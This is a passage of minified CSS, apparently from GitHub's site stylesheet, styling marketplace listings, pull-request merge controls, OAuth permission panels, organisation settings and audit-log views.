var(--color-border-default);border-radius:6px}.ScreenshotCarousel-screenshot{padding:16px}.ScreenshotCarousel-nav{display:flex;overflow-x:auto;align-items:top;box-shadow:inset 0 1px 0 var(--color-border-default)}.ScreenshotCarousel-navitem{width:20%;min-width:120px;padding:16px;cursor:pointer;border-right:1px solid var(--color-border-default)}.ScreenshotCarousel-navitem:last-child{border-right:0}.ScreenshotCarousel-navitem.selected{background-color:var(--color-canvas-subtle);box-shadow:inset 0 0 4px rgba(36,41,46,.15)}.marketplace-listing-screenshot-container{width:175px;min-height:175px;background-repeat:no-repeat;background-position:center center;background-size:cover}.marketplace-listing-screenshot-zoom{display:none;cursor:move}.marketplace-listing-details-sidebar{order:2}@media(min-width: 768px){.marketplace-listing-details-sidebar{order:1}}.marketplace-listing-details-description{order:1}@media(min-width: 768px){.marketplace-listing-details-description{order:2}}.marketplace-listing-screenshot-link{height:100px;cursor:move}.marketplace-listing-screenshot-link:hover .marketplace-listing-screenshot-zoom,.marketplace-listing-screenshot-link:focus .marketplace-listing-screenshot-zoom{top:0;left:0;display:block;width:100%;height:100%;padding-top:24px;background-color:rgba(255,255,255,.75)}.marketplace-integratable-logo{width:40px;height:40px}.marketplace-listing-save-notice,.marketplace-listing-save-error{display:none;opacity:0;transition:opacity .15s linear}.marketplace-listing-save-notice.visible,.marketplace-listing-save-error.visible{display:inline-block;opacity:1}.marketplace-listing-screenshot-delete-form{position:absolute;bottom:-24px;width:100%;text-align:center}.marketplace-plan-dollar-field-container .price-note{display:none}.marketplace-plan-dollar-field-container.is-errored .price-note{display:block}.marketplace-plan-dollar-field-container.is-errored .form-control{border-color:var(--color-danger-emphasis)}.marketplace-plan-emphasis{color:var(--color-fg-default)}.selected .marketplace-plan-emphasis{color:var(--color-fg-on-emphasis)}.marketplace-plan-unit-name-preview::before{content:"per "}.marketplace-plan-per-time{clear:right}.marketplace-billing-modal{width:540px;max-height:90vh;margin-top:5vh}.marketplace-listing-markdown,.marketplace-url-link{word-wrap:break-word;white-space:pre-wrap}.marketplace-listing-markdown{line-height:1.4}.marketplace-product-callout{border-color:var(--color-border-default) !important}.marketplace-product-callout::before,.marketplace-product-callout::after{display:none}.marketplace-product-callout .branch-action-item-icon{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.filter-item.selected .Label--secondary{color:var(--color-fg-on-emphasis);border-color:var(--color-fg-on-emphasis)}.MarketplaceEdit-body{min-height:570px}.MarketplaceEdit-body .pricing-model-selector{width:calc(100% - 12px);max-width:100% !important}.MarketplaceEdit-body .menu{border-right:0;border-left:0;border-radius:0}.MarketplaceEdit-body .menu-item{padding:12px 16px;background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected{background:var(--color-canvas-default)}.MarketplaceEdit-body .menu-item:hover{background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected::before{position:absolute;top:0;bottom:0;left:0;width:3px;content:"";background-color:var(--color-severe-emphasis)}.MarketplaceEdit-body .menu-item:first-child::before{border-top-left-radius:0}.MarketplaceEdit-body .CircleIcon{display:inline-block;width:32px;height:32px;font-weight:600;line-height:32px;color:var(--color-fg-muted);text-align:center;background:#e6ebf1;border-radius:50%}.MarketplaceEdit-body .CircleIcon .octicon{display:inline-block}.MarketplaceInsights-graph .insights-month .tick:nth-child(2n){visibility:hidden}.BarChart{border-radius:6px}.BarChart-bar{height:10px;border-right:1px solid var(--color-canvas-default)}.BarChart-bar--green{background-color:var(--color-success-emphasis)}.BarChart-bar--orange{background-color:var(--color-severe-emphasis)}.BarChart-bar--yellow{background-color:var(--color-attention-emphasis)}.CircleBadge--tiny{width:32px;height:32px}.CircleBadge--github{position:relative}.CircleBadge--github.CircleBadge--large::after{right:5px;bottom:5px}.CircleBadge--github.CircleBadge--small::after{right:-5px;bottom:-5px}.CircleBadge--github::after{position:absolute;right:0;bottom:0;display:block;width:22px;height:22px;padding:4px;line-height:0;content:"";background:var(--color-canvas-default) url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48c3ZnIHdpZHRoPSIyMnB4IiBoZWlnaHQ9IjIycHgiIHZpZXdCb3g9IjAgMCAyMiAyMiIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4gICAgICAgIDx0aXRsZT5TaGFwZSBDb3B5PC90aXRsZT4gICAgPGRlc2M+Q3JlYXRlZCB3aXRoIFNrZXRjaC48L2Rlc2M+ICAgIDxkZWZzPjwvZGVmcz4gICAgPGcgaWQ9IktpdGNoZW4tc2luayIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+ICAgICAgICA8ZyBpZD0iT2N0aWNvbnMiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0zNzAuMDAwMDAwLCAtMTU4NC4wMDAwMDApIiBmaWxsPSIjMUIxRjIzIj4gICAgICAgICAgICA8cGF0aCBkPSJNMzgxLDE1ODQgQzM3NC45MjI1LDE1ODQgMzcwLDE1ODguOTIyNSAzNzAsMTU5NSBDMzcwLDE1OTkuODY3NSAzNzMuMTQ4NzUsMTYwMy45Nzg3NSAzNzcuNTIxMjUsMTYwNS40MzYyNSBDMzc4LjA3MTI1LDE2MDUuNTMyNSAzNzguMjc3NSwxNjA1LjIwMjUgMzc4LjI3NzUsMTYwNC45MTM3NSBDMzc4LjI3NzUsMTYwNC42NTI1IDM3OC4yNjM3NSwxNjAzLjc4NjI1IDM3OC4yNjM3NSwxNjAyLjg2NSBDMzc1LjUsMTYwMy4zNzM3NSAzNzQuNzg1LDE2MDIuMTkxMjUgMzc0LjU2NSwxNjAxLjU3MjUgQzM3NC40NDEyNSwxNjAxLjI1NjI1IDM3My45MDUsMTYwMC4yOCAzNzMuNDM3NSwxNjAwLjAxODc1IEMzNzMuMDUyNSwxNTk5LjgxMjUgMzcyLjUwMjUsMTU5OS4zMDM3NSAzNzMuNDIzNzUsMTU5OS4yOSBDMzc0LjI5LDE1OTkuMjc2MjUgMzc0LjkwODc1LDE2MDAuMDg3NSAzNzUuMTE1LDE2MDAuNDE3NSBDMzc2LjEwNSwxNjAyLjA4MTI1IDM3Ny42ODYyNSwxNjAxLjYxMzc1IDM3OC4zMTg3NSwxNjAxLjMyNSBDMzc4LjQxNSwxNjAwLjYxIDM3OC43MDM3NSwxNjAwLjEyODc1IDM3OS4wMiwxNTk5Ljg1Mzc1IEMzNzYuNTcyNSwxNTk5LjU3ODc1IDM3NC4wMTUsMTU5OC42MyAzNzQuMDE1LDE1OTQuNDIyNSBDMzc0LjAxNSwxNTkzLjIyNjI1IDM3NC40NDEyNSwxNTkyLjIzNjI1IDM3NS4xNDI1LDE1OTEuNDY2MjUgQzM3NS4wMzI1LDE1OTEuMTkxMjUgMzc0LjY0NzUsMTU5MC4wNjM3NSAzNzUuMjUyNSwxNTg4LjU1MTI1IEMzNzUuMjUyNSwxNTg4LjU1MTI1IDM3Ni4xNzM3NSwxNTg4LjI2MjUgMzc4LjI3NzUsMTU4OS42Nzg3NSBDMzc5LjE1NzUsMTU4OS40MzEyNSAzODAuMDkyNSwxNTg5LjMwNzUgMzgxLjAyNzUsMTU4OS4zMDc1IEMzODEuOTYyNSwxNTg5LjMwNzUgMzgyLjg5NzUsMTU4OS40MzEyNSAzODMuNzc3NSwxNTg5LjY3ODc1IEMzODUuODgxMjUsMTU4OC4yNDg3NSAzODYuODAyNSwxNTg4LjU1MTI1IDM4Ni44MDI1LDE1ODguNTUxMjUgQzM4Ny40MDc1LDE1OTAuMDYzNzUgMzg3LjAyMjUsMTU5MS4xOTEyNSAzODYuOTEyNSwxNTkxLjQ2NjI1IEMzODcuNjEzNzUsMTU5Mi4yMzYyNSAzODguMDQsMTU5My4yMTI1IDM4OC4wNCwxNTk0LjQyMjUgQzM4OC4wNCwxNTk4LjY0Mzc1IDM4NS40Njg3NSwxNTk5LjU3ODc1IDM4My4wMjEyNSwxNTk5Ljg1Mzc1IEMzODMuNDIsMTYwMC4xOTc1IDM4My43NjM3NSwxNjAwLjg1NzUgMzgzLjc2Mzc1LDE2MDEuODg4NzUgQzM4My43NjM3NSwxNjAzLjM2IDM4My43NSwxNjA0LjU0MjUgMzgzLjc1LDE2MDQuOTEzNzUgQzM4My43NSwxNjA1LjIwMjUgMzgzLjk1NjI1LDE2MDUuNTQ2MjUgMzg0LjUwNjI1LDE2MDUuNDM2MjUgQzM4OC44NTEyNSwxNjAzLjk3ODc1IDM5MiwxNTk5Ljg1Mzc1IDM5MiwxNTk1IEMzOTIsMTU4OC45MjI1IDM4Ny4wNzc1LDE1ODQgMzgxLDE1ODQgTDM4MSwxNTg0IFoiIGlkPSJTaGFwZS1Db3B5Ij48L3BhdGg+ICAgICAgICA8L2c+ICAgIDwvZz48L3N2Zz4=") center no-repeat;border-radius:100px}body.page-responsive .flash-full .container{width:100%;max-width:980px}.ClipboardButton{position:relative}.ClipboardButton.ClipboardButton--success{border-color:var(--color-success-emphasis);box-shadow:0 0 0 .2em rgba(52,208,88,.4)}.ClipboardButton.ClipboardButton--success:focus{box-shadow:0 0 0 .2em rgba(52,208,88,.4)}@media(min-width: 768px){.MarketplacePlan--sticky{position:sticky;top:24px;z-index:999}}@media(max-width: 544px){.Box--full{right:0;bottom:0;left:0;width:100%;max-width:none;max-height:none;margin:0;border-radius:0;transform:none}}.MarketplaceBackground-wrapper{position:relative}.MarketplaceBackground-recommendations{position:relative;top:-90px;width:313px;margin-top:-150px;margin-bottom:-120px;overflow:hidden}.MarketplaceBackground-recommendations img{position:relative;top:0;right:225px;width:549px}@media(min-width: 544px){.MarketplaceBackground-recommendations{position:relative;width:463px;margin-top:-180px;margin-bottom:70px;overflow:hidden}.MarketplaceBackground-recommendations img{right:305px;width:730px}}@media(min-width: 768px){.MarketplaceBackground-recommendations{position:absolute;top:-228px;right:-69px;width:633px}.MarketplaceBackground-recommendations img{right:195px;width:750px}}@media(min-width: 1012px){.MarketplaceBackground-recommendations{top:-268px;right:0;width:1040px}.MarketplaceBackground-recommendations img{right:-115px;width:900px}}@media(min-width: 1280px){.MarketplaceBackground-recommendations{top:-325px;right:105px;width:1040px}.MarketplaceBackground-recommendations img{right:0;width:1040px}}.MarketplaceBackground-buffer{padding-top:40px;margin-top:-146px;background:var(--color-canvas-subtle)}@media(min-width: 544px){.MarketplaceBackground-buffer{padding-top:120px;margin-top:-233px}}@media(min-width: 768px){.MarketplaceBackground-buffer{margin-top:-109px}}@media(min-width: 1012px){.MarketplaceBackground-buffer{margin-top:-89px}}.MarketplaceHeader{overflow:hidden}.Link--muted.filter-item.selected{color:var(--color-fg-on-emphasis) !important}.MarketplaceBody{position:relative}@media(min-width: 544px){.MarketplaceBody{top:-72px;z-index:2}}.MarketplaceDetails .octicon{transition:transform 200ms linear;transform:scaleY(1)}.MarketplaceDetails[open] .octicon{transform:scaleY(-1)}.MarketplaceAnnouncement{color:#fff;background:linear-gradient(90deg, #257bf9, #2426ca)}.MarketplaceAnnouncement-icon{width:80px;opacity:.9}.MarketplaceAnnouncement-description{opacity:.7}.member-list-item .table-list-cell-checkbox{width:30px}.member-list-item.adminable .member-info{padding-left:4px}.member-list-item .member-avatar-cell{width:64px}.triage-mode .none-selected{display:none}.merge-branch-heading{margin:0;line-height:1;color:var(--color-fg-default)}.merge-branch-description{margin-right:160px;margin-bottom:-4px;line-height:1.6em;color:var(--color-fg-muted)}.alt-merge-options{display:inline-block;margin-bottom:0;margin-left:4px;vertical-align:middle}.merged .merge-branch-description .commit-ref .css-truncate-target{max-width:180px}.merge-branch-prh-output{margin-top:8px}.merge-branch-form,.queue-branch-form{display:none;padding-left:60px}.merge-branch-manually{display:none;padding-top:16px;margin-top:16px;background-color:transparent;border-top:1px solid var(--color-border-default)}.merge-branch-manually p{margin-bottom:0}.merge-branch-manually h3{margin-bottom:8px}.merge-branch-manually .intro{padding-bottom:8px;margin-top:0}.merge-branch-manually .step{margin:16px 0 4px}.open .merge-branch-manually{display:block}.select-menu-merge-method{width:310px}.select-menu-merge-method .select-menu-item:hover,.select-menu-merge-method .select-menu-item:hover .octicon,.select-menu-merge-method .select-menu-item:hover .select-menu-item-text{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-merge-method .select-menu-item:hover .description{color:var(--color-fg-on-emphasis)}.merge-pr.is-squashing .commit-author-fields{display:none}.merge-pr.is-rebasing .commit-form-fields{display:none;transition:opacity .15s linear 0s,margin-top .25s ease .1s}.merge-pr .btn-group-merge,.merge-pr .btn-group-merge-group,.merge-pr .merge-queue-info,.merge-pr .merge-queue-group-time-to-merge,.merge-pr.is-squashing .btn-group-squash,.merge-pr.is-rebasing .btn-group-rebase,.merge-pr.is-updating-via-merge .btn-group-update-merge,.merge-pr.is-updating-via-rebase .btn-group-update-rebase,.merge-pr.is-merging-solo .btn-group-merge-solo,.merge-pr.is-merging-solo .merge-queue-solo-time-to-merge,.merge-pr.is-merging-jump .btn-group-merge-jump,.merge-pr.is-merging-group .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-directly,.merge-pr.is-merging .merging-directly-warning{display:inline-block}.merge-pr .merging-body,.merge-pr .rebasing-body,.merge-pr .squashing-body,.merge-pr .merging-body-merge-warning,.merge-pr .merging-directly-warning,.merge-pr.is-merging .merge-queue-info,.merge-pr.is-merging-group .merge-queue-solo-time-to-merge,.merge-pr.is-merging-solo .merge-queue-group-time-to-merge,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body{display:none}.merge-pr.is-merging .merging-body,.merge-pr.is-merging-solo .merging-body,.merge-pr.is-merging-jump .merging-body,.merge-pr.is-merging-group .merging-body,.merge-pr.is-rebasing .rebasing-body,.merge-pr.is-squashing .squashing-body,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body-merge-warning{display:block}.merge-pr .btn-group-squash,.merge-pr .btn-group-merge-solo,.merge-pr .btn-group-merge-jump,.merge-pr .btn-group-merge-directly,.merge-pr .btn-group-rebase,.merge-pr .btn-group-update-merge,.merge-pr .btn-group-update-rebase,.merge-pr.is-squashing .btn-group-merge,.merge-pr.is-rebasing .btn-group-merge,.merge-pr.is-merging-solo .btn-group-merge-group,.merge-pr.is-merging-jump .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-group{display:none;margin-left:0}.commit-form-fields{transition:opacity .15s linear .1s,margin-top .25s ease 0s}.unavailable-merge-method{display:block;margin-top:4px;color:var(--color-severe-fg)}[aria-selected=true].disabled .unavailable-merge-method,.navigation-focus.disabled .unavailable-merge-method{color:var(--color-fg-on-emphasis)}.try-merge-queue-popover{left:265px}@media(min-width: 1012px){.try-merge-queue-popover{left:272px}}.try-merge-queue-beta-flag{vertical-align:middle}.network .network-tree{vertical-align:middle}.network .gravatar{margin-right:4px;vertical-align:middle;border-radius:6px}.network .octicon{display:inline-block;width:16px;margin-left:2px;text-align:center;vertical-align:middle}.internal-repo-avatar{right:4px;bottom:-4px;border:solid 2px var(--color-canvas-default)}.owner-reponame dl.form-group{margin-top:4px;margin-bottom:0}.owner-reponame .slash{float:left;padding-top:32px;margin:0 8px;font-size:20px;color:var(--color-fg-muted)}.reponame-suggestion{color:var(--color-success-fg);cursor:pointer}.upgrade-upsell{padding-left:32px}.cc-upgrade{padding-left:16px}.news .release{margin-top:0;margin-bottom:0}.news blockquote{color:var(--color-fg-muted)}.news .alert{position:relative;padding:0 0 1em 45px;overflow:hidden;border-top:1px solid #eff3f6}.news .alert .commits{padding-left:40px}.news .alert .css-truncate.css-truncate-target,.news .alert .css-truncate .css-truncate-target{max-width:180px}.news .alert p{margin:0}.news .alert .markdown-body blockquote{padding:0 0 0 40px;border-width:0}.news .alert .octicon{color:var(--color-fg-muted)}.news .alert .dashboard-event-icon{position:absolute;top:18px;left:22px;transform:translateX(-50%)}.news .alert .body{padding:1em 0 0;overflow:hidden;font-size:14px;border-bottom:0}.news .alert .time{font-size:12px;color:var(--color-fg-muted)}.news .alert .title{padding:0;font-weight:600}.news .alert .title .subtle{color:var(--color-fg-muted)}.news .alert .gravatar{float:left;margin-right:.6em;line-height:0;background-color:var(--color-canvas-default);border-radius:6px}.news .alert .simple .title{display:inline-block;font-size:14px;font-weight:400;color:var(--color-fg-muted)}.news .alert .simple .time{display:inline-block}.news .alert:first-child{border-top:0}.news .alert:first-child .body{padding-top:0}.news .alert:first-child .dashboard-event-icon{top:0}.news .github-welcome .done{color:var(--color-fg-muted);text-decoration:line-through}.news .commits li{margin-top:.15em;list-style-type:none}.news .commits li.more{padding-top:2px;font-size:12px}.news .commits li .committer{display:none;padding-left:.5em}.news .commits li img{margin:0 1px 0 0;vertical-align:middle;background-color:var(--color-canvas-default);border-radius:6px}.news .commits li img.emoji{padding:0;margin:0;border:0}.news .commits li .message{display:inline-block;max-width:390px;margin-top:2px;overflow:hidden;font-size:14px;line-height:1.3;text-overflow:ellipsis;white-space:nowrap;vertical-align:top}.news div.message,.news li blockquote{display:inline;font-size:14px;color:var(--color-fg-muted)}.oauth-permissions-details{position:relative;padding:16px;margin:0;list-style:none;border-bottom:1px solid var(--color-border-muted)}.oauth-permissions-details:first-child{border-radius:6px 6px 0 0}.oauth-permissions-details:last-child{border:0;border-radius:0 0 6px 6px}.oauth-permissions-details.oauth-public-data-only{border-radius:6px}.oauth-permissions-details .markdown-body{font-size:12px}.oauth-permissions-details .content{display:none;margin-left:45px}.oauth-permissions-details .content .form-checkbox{margin-left:0}.oauth-permissions-details .content .form-checkbox:last-child{margin-bottom:0}.oauth-permissions-details .octicon{float:left;color:var(--color-fg-muted);text-align:center}.oauth-permissions-details .permission-help{font-size:12px}.oauth-permissions-details .permission-help ul{padding-left:16px;margin:1em 0}.oauth-permissions-details .permission-summary{margin-left:45px}.oauth-permissions-details .permission-summary .access-details{position:relative;color:var(--color-fg-muted)}.oauth-permissions-details .permission-summary em.highlight{position:relative;padding:2px 4px;margin-right:-2px;margin-left:-4px;font-style:normal;color:var(--color-fg-default);background:var(--color-search-keyword-hl);border-radius:6px}.oauth-permissions-details .permission-title{display:block;color:var(--color-fg-default)}.oauth-permissions-details a.btn-sm{float:right;margin-top:4px}.oauth-permissions-details.open a.btn-sm{background-color:#dcdcdc;background-image:none;border-color:#b5b5b5;box-shadow:inset 0 2px 4px rgba(0,0,0,.15)}.oauth-permissions-details.open .content{display:block}.oauth-permissions-details.default:not(.delete) .no-access,.oauth-permissions-details.default:not(.delete) .default-access,.oauth-permissions-details.none .no-access,.oauth-permissions-details.none .default-access{display:inline}.oauth-permissions-details.default:not(.delete) .access-details,.oauth-permissions-details.default:not(.delete) .permission-title,.oauth-permissions-details.none .access-details,.oauth-permissions-details.none .permission-title{color:var(--color-fg-muted)}.oauth-permissions-details.default:not(.delete) .octicon,.oauth-permissions-details.none .octicon{color:var(--color-fg-muted)}.oauth-permissions-details.default .default-access{display:inline}.oauth-permissions-details.full .full-access{display:inline}.oauth-details-toggle{position:absolute;top:0;right:0;padding:16px 16px}.oauth-details-toggle .octicon-chevron-up{display:none}.open .oauth-details-toggle .octicon-chevron-down{display:none}.open .oauth-details-toggle .octicon-chevron-up{display:block}.oauth-user-permissions .full-access,.oauth-user-permissions .limited-access,.oauth-user-permissions .limited-access-emails-followers,.oauth-user-permissions .limited-access-emails-profile,.oauth-user-permissions .limited-access-followers-profile,.oauth-user-permissions .limited-access-profile,.oauth-user-permissions .limited-access-followers,.oauth-user-permissions .limited-access-emails,.oauth-user-permissions .no-access{display:none}.oauth-user-permissions.limited.limited-email .limited-access-emails{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails-profile{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access{display:inline}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-followers{display:none}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails-followers{display:inline}.oauth-user-permissions.limited.limited-follow .limited-access-followers{display:inline}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers,.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers-profile{display:inline}.oauth-user-permissions.limited.limited-profile .limited-access-profile{display:inline}.oauth-repo-permissions .default-access,.oauth-repo-permissions .public-access,.oauth-repo-permissions .limited-repo-invite-access,.oauth-repo-permissions .full-access{display:none}.oauth-repo-permissions.full .full-access{display:inline}.oauth-repo-permissions.limited-repo-invite .limited-repo-invite-access{display:inline}.oauth-repo-permissions.public .public-access{display:inline}.oauth-repo-permissions.default .default-access{display:inline}.oauth-delete-repo-permissions .octicon-alert{color:var(--color-danger-fg)}.oauth-repo-status-permissions .no-access,.oauth-repo-status-permissions .full-access,.oauth-repo-deployment-permissions .no-access,.oauth-repo-deployment-permissions .full-access{display:none}.oauth-notifications-permissions .no-access,.oauth-notifications-permissions .read-access,.oauth-notifications-permissions .via-public-access,.oauth-notifications-permissions .via-full-access{display:none}.oauth-notifications-permissions.read .read-access{display:inline}.oauth-notifications-permissions.via-public .via-public-access{display:inline}.oauth-notifications-permissions.via-public .octicon{display:none}.oauth-notifications-permissions.via-full .via-full-access{display:inline}.oauth-gist-permissions .no-access,.oauth-gist-permissions .full-access{display:none}.oauth-granular-permissions .no-access,.oauth-granular-permissions .read-access,.oauth-granular-permissions .write-access,.oauth-granular-permissions .full-access{display:none}.oauth-granular-permissions.none .no-access{display:inline}.oauth-granular-permissions.read .read-access{display:inline}.oauth-granular-permissions.write .write-access{display:inline}.oauth-granular-permissions.full .full-access{display:inline}.oauth-no-description{color:var(--color-fg-muted)}.oauth-org-access-details{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item:hover{background:var(--color-canvas-subtle)}.oauth-org-access-details a:hover{text-decoration:none}.oauth-org-access-details .boxed-group-inner{border:0;border-radius:6px}.oauth-org-access-details .oauth-org-item{line-height:24px}.oauth-org-access-details .oauth-org-item:first-child{border-radius:6px 6px 0 0}.oauth-org-access-details .oauth-org-item .loading-indicator{display:none;margin:4px}.oauth-org-access-details .oauth-org-item.on .authorized-tools{display:block}.oauth-org-access-details .oauth-org-item.on .unauthorized-tools{display:none}.oauth-org-access-details .oauth-org-item.on strong{color:var(--color-fg-default)}.oauth-org-access-details .oauth-org-item.on .octicon-check{display:inline}.oauth-org-access-details .oauth-org-item.on .octicon-x{display:none}.oauth-org-access-details .oauth-org-item.revoked{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item.revoked .unauthorized-tools,.oauth-org-access-details .oauth-org-item.revoked .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.revoked .octicon-x{color:var(--color-danger-fg)}.oauth-org-access-details .oauth-org-item.loading .unauthorized-tools,.oauth-org-access-details .oauth-org-item.loading .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.loading .loading-indicator{display:block}.oauth-org-access-details .oauth-org-item .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item .unauthorized-tools{display:block}.oauth-org-access-details .btn{line-height:1.5em}.oauth-org-access-details .octicon{color:var(--color-fg-muted)}.oauth-org-access-details .octicon-check{display:none;color:var(--color-success-fg)}.oauth-org-access-details .octicon-x{display:inline}.oauth-org-access-details .octicon-x.org-access-denied{color:var(--color-danger-fg)}.permission-title{margin-top:0}.boxed-group-inner .oauth-application-info{margin-bottom:8px}.oauth-application-info .application-title{font-size:32px;color:var(--color-fg-default)}.oauth-application-info .application-description{margin-top:4px;margin-bottom:0}.oauth-application-info .listgroup-item{line-height:inherit}.oauth-application-info .app-denied,.oauth-application-info .app-approved{margin-left:8px;font-size:14px;font-weight:400;white-space:nowrap}.oauth-application-info .app-approved,.oauth-application-info .octicon-check{color:var(--color-success-fg)}.oauth-application-info .app-denied,.oauth-application-info .octicon-x{color:var(--color-severe-fg)}.app-transfer-actions form{display:inline}.developer-app-item .developer-app-avatar-cell{width:60px}.developer-app-item .developer-app-name{font-size:14px;font-weight:600;line-height:1.25;color:var(--color-fg-default)}.developer-app-item .developer-app-name:hover{color:var(--color-accent-fg);text-decoration:none}.developer-app-item .developer-app-info-cell{padding-left:0}.developer-app-item .developer-app-list-meta{margin-top:4px;margin-bottom:2px;font-weight:400;color:var(--color-fg-muted)}.org-transfer-requests{margin:8px 0 16px}.toggle-secret-field .secret-standin{display:block}.toggle-secret-field .secret-field{display:none}.toggle-secret-field.open .secret-standin{display:none}.toggle-secret-field.open .secret-field{display:block}.invitation-2fa-banner{margin-right:-24px;margin-left:-24px}.sign-up-via-invitation .bleed-flush{width:100%;padding:0 16px;margin-left:-16px;border-color:var(--color-border-default)}.sign-up-via-invitation label{font-size:14px}.orghead{padding-top:16px;padding-bottom:0;margin-bottom:16px;color:var(--color-fg-default);background-color:var(--color-page-header-bg);border-bottom:1px solid var(--color-border-default)}.orghead .orgnav{position:relative;top:1px;margin-top:8px}.org-repos .TableObject-item--primary{white-space:normal}.org-name{font-weight:400;color:var(--color-fg-default)}.audit-log-search .member-info{width:300px}.audit-log-search .member-info .member-avatar{float:left;margin-right:16px}.audit-log-search .member-info .member-link{display:block}.audit-log-search .member-info .member-list-avatar{margin-right:0}.audit-log-search .member-info .ghost{display:inline-block;color:var(--color-fg-muted)}.audit-log-search .blankslate{border-top-left-radius:0;border-top-right-radius:0}.audit-log-search .export-phrase{margin:4px 0}.audit-results-actions{overflow:auto}.audit-search-clear{float:left;margin-bottom:16px;border:0}.audit-search-clear .issues-reset-query{margin-bottom:0}.audit-type{width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.audit-type .octicon{margin-right:4px;font-weight:400;vertical-align:bottom}.audit-type .repo{color:var(--color-severe-fg)}.audit-type .team{color:var(--color-success-fg)}.audit-type .user{color:var(--color-done-fg)}.audit-type .oauth_access{color:var(--color-danger-fg)}.audit-type .hook{color:#e1bf4e}.export-phrase{margin-top:4px}.export-phrase pre{padding-left:8px;font-family:ui-monospace,SFMono-Regular,SF Mono,Menlo,Consolas,Liberation Mono,monospace;white-space:pre-wrap;border-left:1px solid var(--color-border-muted)}.two-factor-enforcement-form .loading-spinner{float:left;margin:0 0 0 -16px;vertical-align:middle}.saml-enabled-banner-container{background-color:var(--color-canvas-default)}.saml-settings-form .test-status-indicator,.oidc-settings-form .test-status-indicator{width:30px;height:30px;margin-top:-4px;border-radius:50%}.saml-settings-form .test-status-indicator .octicon,.oidc-settings-form .test-status-indicator .octicon{display:block;margin-top:8px;margin-right:auto;margin-left:auto}.saml-settings-form .form-group.errored,.oidc-settings-form .form-group.errored{margin-bottom:40px}.saml-settings-form .test-status-indicator-error,.oidc-settings-form .test-status-indicator-error{color:var(--color-fg-on-emphasis);background-color:var(--color-danger-emphasis)}.saml-settings-form .test-status-indicator-success,.oidc-settings-form .test-status-indicator-success{color:var(--color-fg-on-emphasis);background-color:var(--color-success-emphasis)}.saml-settings-form .details-container .method-field,.oidc-settings-form .details-container .method-field{display:none}.saml-settings-form .details-container .method-label,.oidc-settings-form .details-container .method-label{font-weight:400}.saml-settings-form .details-container .details-target,.oidc-settings-form .details-container .details-target{cursor:pointer}.saml-settings-form .details-container.open .method-value,.saml-settings-form .details-container.open .details-target,.oidc-settings-form .details-container.open .method-value,.oidc-settings-form .details-container.open .details-target{display:none}.saml-settings-form .details-container.open .method-field,.oidc-settings-form .details-container.open .method-field{display:inline-block}.saml-settings-form .saml-enforcement-disabled,.oidc-settings-form .saml-enforcement-disabled{opacity:.5}.form-group .form-control.saml-certificate-field{width:440px;height:150px;min-height:0}.member-avatar{float:left;margin:1px}.member-fullname{color:var(--color-fg-muted)}.auto-search-group{position:relative}.auto-search-group .auto-search-input{padding-left:32px}.auto-search-group .spinner,.auto-search-group>.octicon{position:absolute;left:10px;z-index:5;width:16px;height:16px}.auto-search-group .spinner{top:9px;background-color:var(--color-canvas-default)}.auto-search-group>.octicon{top:10px;font-size:14px;color:var(--color-fg-muted);text-align:center}.org-list .list-item{position:relative;padding-top:16px;padding-bottom:16px;border-bottom:1px solid var(--color-border-muted)}.org-list .list-item::before{display:table;content:""}.org-list .list-item::after{display:table;clear:both;content:""}.permission-level-cell .select-menu-button{width:90px;text-align:left}.permission-level-cell .select-menu-button::after{position:absolute;top:10px;right:10px}.permission-level-cell .spinner{float:none;opacity:0;transition:opacity .2s ease-in-out}.permission-level-cell .is-loading .spinner{opacity:1}.select-menu-option-title{margin-top:0;margin-bottom:0}.reinstate-org-member{position:relative;width:500px;margin:40px auto}.reinstate-org-member .reinstate-lead{margin-bottom:32px;font-size:16px}.reinstate-org-member label{cursor:pointer}.reinstate-org-member .reinstate-detail-container{margin:16px 0}.reinstate-org-member .reinstate-title{color:var(--color-fg-default)}.reinstate-org-member .reinstate-title .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.permission-title{margin-top:0}.invite-member-results 